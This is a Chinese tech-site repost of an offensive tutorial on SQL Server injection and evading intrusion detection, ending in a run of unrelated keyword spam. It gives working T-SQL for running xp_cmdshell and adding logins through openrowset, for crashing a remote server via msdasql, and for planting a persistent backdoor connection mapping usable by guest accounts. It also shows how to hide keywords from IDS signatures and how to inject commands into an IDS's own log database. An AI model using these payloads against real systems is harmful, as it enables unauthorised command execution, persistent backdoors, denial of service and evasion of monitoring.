千家信息网

如何实现mssql注入躲避IDS

发表于:2025-02-02 作者:千家信息网编辑
千家信息网最后更新 2025年02月02日,本篇内容主要讲解"如何实现mssql注入躲避IDS",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"如何实现mssql注入躲避IDS"吧!1.关于openro
千家信息网最后更新 2025年02月02日如何实现mssql注入躲避IDS

本篇内容主要讲解"如何实现mssql注入躲避IDS",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"如何实现mssql注入躲避IDS"吧!

1.关于openrowset和opendatasource
  可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

  那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

  那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')

  这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧:P


  2.关于msdasql两次请求的问题

  不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')

  当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P


  3.可怕的后门

  以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

  这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在sqlserver2000 sqlserver2000SP1上通过!

  另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个 账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法,

  如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:


  4.利用t-sql骗过ids或攻击ids

  现在的ids已经变得越来越聪明了。 有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。

  先说说欺骗ids:

  ids既然监视xp_cmdshell关键字,那么我们可以这么做
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

  这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做

  假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'

  当然也可以
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'

  这种做法排列组合,ids根本不可能做的到完全监视。

  同理,sp_addlogin也可以这么做。

  再说说攻击ids:

  因为ids数据量很大,日至通常备份到常规数据库,比如sql server。

  如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做

  通常程序会这么写 insert table values ('日至内容',...)

  那么我们想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ')

  这样,xp_cmdshell就可以在ids的数据库运行了 :)

  当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成 。因此, 会被提交到sql server,这样你的命令就无法执行了。 唯一的办法就是
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

  用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录,呵呵。

  其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用'就可以屏蔽。现在ids用insert语句,那么用')屏蔽。

  好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。

到此,相信大家对"如何实现mssql注入躲避IDS"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

命令 数据 数据库 方法 对方 权限 管理员 管理 内容 语句 账号 问题 日至 监视 只是 后门 就是 数目 空格 攻击 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 武隆区咨询软件开发服务特点 神魔大陆换手机后找不到服务器 网络安全的威胁有哪几个方面 服务器温升 方舟服务器管理器安装失败 网络安全教育考核 国资控股网络安全概念股票 怎样查看sql数据库名称 做软件学哪个数据库比较好 郑州网络安全周开幕时间 做好网络安全工作培训感想 有两个相同数据库怎么连接 vb数据库教学设计 服务器的文件怎么共享 湖北定制软件开发方案 高雪峰网络安全 如何开启数据库审计功能 itl+软件开发 软件开发成长反思 湖南一航网络技术服务有限公司 自动化网络安全问题病毒防护 数据前置服务器的主要功能 手机定位软件开发流程 山东云媒互动互联网科技公司 互联网科技公司怎么做 备份数据库的操作在什么时候进行 U盘虚拟数据库 服务器怎么和存储连接 数据网络安全传输管理规定 客户端抓取数据库随机显示
0